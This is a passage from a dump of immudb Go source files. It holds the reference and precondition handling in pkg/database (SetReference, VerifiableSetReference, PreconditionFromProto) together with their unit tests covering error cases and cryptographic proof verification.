&store.EntrySpec{\n\t\tKey:      WrapWithPrefix(key, SetKeyPrefix),\n\t\tMetadata: md,\n\t\tValue:    WrapReferenceValueAt(WrapWithPrefix(referencedKey, SetKeyPrefix), atTx),\n\t}\n}\n\nfunc WrapReferenceValueAt(key []byte, atTx uint64) []byte {\n\trefVal := make([]byte, 1+8+len(key))\n\n\trefVal[0] = ReferenceValuePrefix\n\tbinary.BigEndian.PutUint64(refVal[1:], atTx)\n\tcopy(refVal[1+8:], key)\n\n\treturn refVal\n}\n\nfunc EncodeZAdd(set []byte, score float64, key []byte, atTx uint64) *store.EntrySpec {\n\treturn &store.EntrySpec{\n\t\tKey:   WrapZAddReferenceAt(set, score, key, atTx),\n\t\tValue: nil,\n\t}\n}\n\nfunc WrapZAddReferenceAt(set []byte, score float64, key []byte, atTx uint64) []byte {\n\tzKey := make([]byte, 1+setLenLen+len(set)+scoreLen+keyLenLen+len(key)+txIDLen)\n\tzi := 0\n\n\tzKey[0] = SortedSetKeyPrefix\n\tzi++\n\tbinary.BigEndian.PutUint64(zKey[zi:], uint64(len(set)))\n\tzi += setLenLen\n\tcopy(zKey[zi:], set)\n\tzi += len(set)\n\tbinary.BigEndian.PutUint64(zKey[zi:], math.Float64bits(score))\n\tzi += scoreLen\n\tbinary.BigEndian.PutUint64(zKey[zi:], uint64(len(key)))\n\tzi += keyLenLen\n\tcopy(zKey[zi:], key)\n\tzi += len(key)\n\tbinary.BigEndian.PutUint64(zKey[zi:], atTx)\n\n\treturn zKey\n}\n"
  },
  {
    "path": "pkg/database/protoconv.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nfunc PreconditionFromProto(c *schema.Precondition) (store.Precondition, error) {\n\tif c == nil {\n\t\treturn nil, store.ErrInvalidPreconditionNull\n\t}\n\n\tswitch c := c.Precondition.(type) {\n\tcase *schema.Precondition_KeyMustExist:\n\t\tkey := c.KeyMustExist.GetKey()\n\t\tif len(key) == 0 {\n\t\t\treturn nil, store.ErrInvalidPreconditionNullKey\n\t\t}\n\n\t\treturn &store.PreconditionKeyMustExist{\n\t\t\tKey: EncodeKey(key),\n\t\t}, nil\n\n\tcase *schema.Precondition_KeyMustNotExist:\n\t\tkey := c.KeyMustNotExist.GetKey()\n\t\tif len(key) == 0 {\n\t\t\treturn nil, store.ErrInvalidPreconditionNullKey\n\t\t}\n\n\t\treturn &store.PreconditionKeyMustNotExist{\n\t\t\tKey: EncodeKey(key),\n\t\t}, nil\n\n\tcase *schema.Precondition_KeyNotModifiedAfterTX:\n\t\tkey := c.KeyNotModifiedAfterTX.GetKey()\n\t\tif len(key) == 0 {\n\t\t\treturn nil, store.ErrInvalidPreconditionNullKey\n\t\t}\n\t\treturn &store.PreconditionKeyNotModifiedAfterTx{\n\t\t\tKey:  EncodeKey(key),\n\t\t\tTxID: c.KeyNotModifiedAfterTX.GetTxID(),\n\t\t}, nil\n\t}\n\n\treturn nil, store.ErrInvalidPreconditionNull\n}\n"
  },
  {
    "path": "pkg/database/protoconv_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPreconditionFromProto(t *testing.T) {\n\n\tt.Run(\"Nil precondition\", func(t *testing.T) {\n\t\t_, err := PreconditionFromProto(nil)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNull)\n\n\t\t_, err = PreconditionFromProto(&schema.Precondition{})\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNull)\n\t})\n\n\tt.Run(\"KeyMustExist\", func(t *testing.T) {\n\t\t_, err := PreconditionFromProto(schema.PreconditionKeyMustExist(nil))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\t_, err = PreconditionFromProto(schema.PreconditionKeyMustExist([]byte{}))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\tc, err := PreconditionFromProto(schema.PreconditionKeyMustExist([]byte{1}))\n\t\trequire.NoError(t, err)\n\t\trequire.IsType(t, &store.PreconditionKeyMustExist{}, c)\n\t})\n\n\tt.Run(\"KeyMustNotExist\", func(t *testing.T) {\n\t\t_, err := PreconditionFromProto(schema.PreconditionKeyMustNotExist(nil))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\t_, err = PreconditionFromProto(schema.PreconditionKeyMustNotExist([]byte{}))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\tc, err := PreconditionFromProto(schema.PreconditionKeyMustNotExist([]byte{1}))\n\t\trequire.NoError(t, err)\n\t\trequire.IsType(t, &store.PreconditionKeyMustNotExist{}, c)\n\t})\n\n\tt.Run(\"KeyNotModifiedAfterTX\", func(t *testing.T) {\n\t\t_, err := PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX(nil, 0))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\t_, err = PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX([]byte{}, 0))\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidPreconditionNullKey)\n\n\t\tc, err := PreconditionFromProto(schema.PreconditionKeyNotModifiedAfterTX([]byte{1}, 1))\n\t\trequire.NoError(t, err)\n\t\trequire.IsType(t, &store.PreconditionKeyNotModifiedAfterTx{}, c)\n\t})\n\n}\n"
  },
  {
    "path": "pkg/database/reference.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nvar ErrReferencedKeyCannotBeAReference = errors.New(\"referenced key cannot be a reference\")\nvar ErrFinalKeyCannotBeConvertedIntoReference = errors.New(\"final key cannot be converted into a reference\")\nvar ErrNoWaitOperationMustBeSelfContained = fmt.Errorf(\"no wait operation must be self-contained: %w\", store.ErrIllegalArguments)\n\n// Reference ...\nfunc (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\tif req == nil || len(req.Key) == 0 || len(req.ReferencedKey) == 0 {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tif (req.AtTx == 0 && req.BoundRef) || (req.AtTx > 0 && !req.BoundRef) {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\terr := d.st.WaitForIndexingUpto(ctx, lastTxID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// check key does not exists or it's already a reference\n\tentry, err := d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true)\n\tif err != nil && err != store.ErrKeyNotFound {\n\t\treturn nil, err\n\t}\n\tif entry != nil && entry.ReferencedBy == nil {\n\t\treturn nil, ErrFinalKeyCannotBeConvertedIntoReference\n\t}\n\n\t// check referenced key exists and it's not a reference\n\trefEntry, err := d.getAtTx(ctx, EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif refEntry.ReferencedBy != nil {\n\t\treturn nil, ErrReferencedKeyCannotBeAReference\n\t}\n\n\ttx, err := d.st.NewWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\te := EncodeReference(\n\t\treq.Key,\n\t\tnil,\n\t\treq.ReferencedKey,\n\t\treq.AtTx,\n\t)\n\n\terr = tx.Set(e.Key, e.Metadata, e.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i := range req.Preconditions {\n\t\tc, err := PreconditionFromProto(req.Preconditions[i])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr = tx.AddPrecondition(c)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: %v\", store.ErrInvalidPrecondition, err)\n\t\t}\n\t}\n\n\tvar hdr *store.TxHeader\n\n\tif req.NoWait {\n\t\thdr, err = tx.AsyncCommit(ctx)\n\t} else {\n\t\thdr, err = tx.Commit(ctx)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), err\n}\n\n// SafeReference ...\nfunc (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\tif req == nil {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\t// Preallocate tx buffers\n\tlastTx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(lastTx)\n\n\ttxMetatadata, err := d.SetReference(ctx, req.ReferenceRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar prevTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx == 0 {\n\t\tprevTxHdr = lastTx.Header()\n\t} else {\n\t\tprevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.VerifiableTx{\n\t\tTx:        schema.TxToProto(lastTx),\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/database/reference_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStoreReference(t *testing.T) {\n\tdb := makeDb(t)\n\n\treq := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}\n\ttxhdr, err := db.Set(context.Background(), req)\n\trequire.NoError(t, err)\n\n\titem, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`firstKey`), SinceTx: txhdr.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`firstKey`), item.Key)\n\trequire.Equal(t, []byte(`firstValue`), item.Value)\n\n\trefOpts := &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag`),\n\t\tReferencedKey: []byte(`secondKey`),\n\t}\n\ttxhdr, err = db.SetReference(context.Background(), refOpts)\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\n\trefOpts = &schema.ReferenceRequest{\n\t\tKey:           []byte(`firstKeyR`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t\tAtTx:          0,\n\t\tBoundRef:      true,\n\t}\n\t_, err = db.SetReference(context.Background(), refOpts)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\trefOpts = &schema.ReferenceRequest{\n\t\tKey:           []byte(`firstKey`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t}\n\ttxhdr, err = db.SetReference(context.Background(), refOpts)\n\trequire.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference)\n\n\trefOpts = &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t}\n\ttxhdr, err = db.SetReference(context.Background(), refOpts)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(2), txhdr.Id)\n\n\tkeyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: txhdr.Id}\n\n\tfirstItemRet, err := db.Get(context.Background(), keyReq)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`firstValue`), firstItemRet.Value, \"Should have referenced item value\")\n\n\tvitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{\n\t\tKeyRequest:   keyReq,\n\t\tProveSinceTx: 1,\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`firstKey`), vitem.Entry.Key)\n\trequire.Equal(t, []byte(`firstValue`), vitem.Entry.Value)\n\n\tinclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof)\n\n\tvar eh [sha256.Size]byte\n\tcopy(eh[:], vitem.VerifiableTx.Tx.Header.EH)\n\n\tentrySpec := EncodeReference([]byte(`myTag`), nil, []byte(`firstKey`), 0)\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, entrySpecDigest)\n\n\tverifies := store.VerifyInclusion(\n\t\tinclusionProof,\n\t\tentrySpecDigest(entrySpec),\n\t\teh,\n\t)\n\trequire.True(t, verifies)\n}\n\nfunc TestStore_GetReferenceWithIndexResolution(t *testing.T) {\n\tdb := makeDb(t)\n\n\tset, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value1`)}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`value2`)}}})\n\trequire.NoError(t, err)\n\n\tref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`), AtTx: set.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\ttag3, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`aaa`), tag3.Key)\n\trequire.Equal(t, []byte(`value1`), tag3.Value)\n}\n\nfunc TestStoreInvalidReferenceToReference(t *testing.T) {\n\tdb := makeDb(t)\n\n\treq := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}\n\ttxhdr, err := db.Set(context.Background(), req)\n\trequire.NoError(t, err)\n\n\tref1, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: txhdr.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\t_, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref1.Id})\n\trequire.NoError(t, err)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`myTag1`)})\n\trequire.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference)\n}\n\nfunc TestStoreReferenceAsyncCommit(t *testing.T) {\n\tdb := makeDb(t)\n\n\tfirstIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}})\n\trequire.NoError(t, err)\n\n\tsecondIndex, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}})\n\trequire.NoError(t, err)\n\n\tfor n := uint64(0); n <= 64; n++ {\n\t\ttag := []byte(strconv.FormatUint(n, 10))\n\t\tvar itemKey []byte\n\t\tvar atTx uint64\n\n\t\tif n%2 == 0 {\n\t\t\titemKey = []byte(`firstKey`)\n\t\t\tatTx = firstIndex.Id\n\t\t} else {\n\t\t\titemKey = []byte(`secondKey`)\n\t\t\tatTx = secondIndex.Id\n\t\t}\n\n\t\trefOpts := &schema.ReferenceRequest{\n\t\t\tKey:           tag,\n\t\t\tReferencedKey: itemKey,\n\t\t\tAtTx:          atTx,\n\t\t\tBoundRef:      true,\n\t\t}\n\n\t\tref, err := db.SetReference(context.Background(), refOpts)\n\t\trequire.NoError(t, err, \"n=%d\", n)\n\t\trequire.Equal(t, n+1+2, ref.Id, \"n=%d\", n)\n\t}\n\n\tfor n := uint64(0); n <= 64; n++ {\n\t\ttag := []byte(strconv.FormatUint(n, 10))\n\t\tvar itemKey []byte\n\t\tvar itemVal []byte\n\t\tvar index uint64\n\t\tif n%2 == 0 {\n\t\t\titemKey = []byte(`firstKey`)\n\t\t\titemVal = []byte(`firstValue`)\n\t\t\tindex = firstIndex.Id\n\t\t} else {\n\t\t\titemKey = []byte(`secondKey`)\n\t\t\titemVal = []byte(`secondValue`)\n\t\t\tindex = secondIndex.Id\n\t\t}\n\n\t\titem, err := db.Get(context.Background(), &schema.KeyRequest{Key: tag, SinceTx: 67})\n\t\trequire.NoError(t, err, \"n=%d\", n)\n\t\trequire.Equal(t, index, item.Tx, \"n=%d\", n)\n\t\trequire.Equal(t, itemVal, item.Value, \"n=%d\", n)\n\t\trequire.Equal(t, itemKey, item.Key, \"n=%d\", n)\n\t}\n}\n\nfunc TestStoreMultipleReferenceOnSameKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx0, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}})\n\trequire.NoError(t, err)\n\n\tidx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`secondKey`), Value: []byte(`secondValue`)}}})\n\trequire.NoError(t, err)\n\n\trefOpts1 := &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag1`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t\tAtTx:          idx0.Id,\n\t\tBoundRef:      true,\n\t}\n\n\treference1, err := db.SetReference(context.Background(), refOpts1)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, uint64(3), reference1.Id)\n\trequire.NotEmptyf(t, reference1, \"Should not be empty\")\n\n\trefOpts2 := &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag2`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t\tAtTx:          idx0.Id,\n\t\tBoundRef:      true,\n\t}\n\treference2, err := db.SetReference(context.Background(), refOpts2)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, uint64(4), reference2.Id)\n\trequire.NotEmptyf(t, reference2, \"Should not be empty\")\n\n\trefOpts3 := &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag3`),\n\t\tReferencedKey: []byte(`secondKey`),\n\t\tAtTx:          idx1.Id,\n\t\tBoundRef:      true,\n\t}\n\treference3, err := db.SetReference(context.Background(), refOpts3)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, uint64(5), reference3.Id)\n\trequire.NotEmptyf(t, reference3, \"Should not be empty\")\n\n\tfirstTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id})\n\trequire.NoError(t, err)\n\trequire.NotEmptyf(t, firstTagRet, \"Should not be empty\")\n\trequire.Equal(t, []byte(`firstValue`), firstTagRet.Value, \"Should have referenced item value\")\n\n\tsecondTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: reference3.Id})\n\trequire.NoError(t, err)\n\trequire.NotEmptyf(t, secondTagRet, \"Should not be empty\")\n\trequire.Equal(t, []byte(`firstValue`), secondTagRet.Value, \"Should have referenced item value\")\n\n\tthirdItemRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag3`), SinceTx: reference3.Id})\n\trequire.NoError(t, err)\n\trequire.NotEmptyf(t, thirdItemRet, \"Should not be empty\")\n\trequire.Equal(t, []byte(`secondValue`), thirdItemRet.Value, \"Should have referenced item value\")\n}\n\nfunc TestStoreIndexReference(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}})\n\trequire.NoError(t, err)\n\n\tidx2, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\tref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\ttag1, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`aaa`), tag1.Key)\n\trequire.Equal(t, []byte(`item1`), tag1.Value)\n\n\ttag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`aaa`), tag2.Key)\n\trequire.Equal(t, []byte(`item2`), tag2.Value)\n}\n\nfunc TestStoreReferenceKeyNotProvided(t *testing.T) {\n\tdb := makeDb(t)\n\t_, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), AtTx: 123, BoundRef: true})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n\nfunc TestStore_GetOnReferenceOnSameKeyReturnsAlwaysLastValue(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx1, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`aaa`)})\n\trequire.NoError(t, err)\n\n\tref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag2`), ReferencedKey: []byte(`aaa`), AtTx: idx1.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\ttag2, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag2`), SinceTx: ref.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`aaa`), tag2.Key)\n\trequire.Equal(t, []byte(`item1`), tag2.Value)\n\n\ttag1b, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`aaa`), tag1b.Key)\n\trequire.Equal(t, []byte(`item2`), tag1b.Value)\n}\n\nfunc TestStore_ReferenceIllegalArgument(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.SetReference(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n\nfunc TestStore_ReferencedItemNotFound(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`notExists`)})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n}\n\nfunc TestStoreVerifiableReference(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.VerifiableSetReference(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\treq := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}}\n\ttxhdr, err := db.Set(context.Background(), req)\n\trequire.NoError(t, err)\n\n\t_, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: nil,\n\t\tProveSinceTx:     txhdr.Id,\n\t})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\trefReq := &schema.ReferenceRequest{\n\t\tKey:           []byte(`myTag`),\n\t\tReferencedKey: []byte(`firstKey`),\n\t}\n\n\t_, err = db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: refReq,\n\t\tProveSinceTx:     txhdr.Id + 1,\n\t})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\tvtx, err := db.VerifiableSetReference(context.Background(), &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: refReq,\n\t\tProveSinceTx:     txhdr.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, WrapWithPrefix([]byte(`myTag`), SetKeyPrefix), vtx.Tx.Entries[0].Key)\n\n\tdualProof := schema.DualProofFromProto(vtx.DualProof)\n\n\tverifies := store.VerifyDualProof(\n\t\tdualProof,\n\t\ttxhdr.Id,\n\t\tvtx.Tx.Header.Id,\n\t\tschema.TxHeaderFromProto(txhdr).Alh(),\n\t\tdualProof.TargetTxHeader.Alh(),\n\t)\n\trequire.True(t, verifies)\n\n\tkeyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: vtx.Tx.Header.Id}\n\n\tfirstItemRet, err := db.Get(context.Background(), keyReq)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`firstValue`), firstItemRet.Value, \"Should have referenced item value\")\n}\n\nfunc TestStoreReferenceWithPreconditions(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\tKey:   []byte(\"key\"),\n\t\tValue: []byte(\"value\"),\n\t}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\tKey:           []byte(\"reference\"),\n\t\tReferencedKey: []byte(\"key\"),\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"reference\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed)\n\n\t_, err = db.Get(context.Background(), &schema.KeyRequest{\n\t\tKey: []byte(\"reference\"),\n\t})\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\tKey:           []byte(\"reference\"),\n\t\tReferencedKey: []byte(\"key\"),\n\t\tPreconditions: []*schema.Precondition{nil},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\tKey:           []byte(\"reference\"),\n\t\tReferencedKey: []byte(\"key\"),\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"reference-long-key\" + strings.Repeat(\"*\", db.GetOptions().storeOpts.MaxKeyLen))),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\n\tc := []*schema.Precondition{}\n\tfor i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ {\n\t\tc = 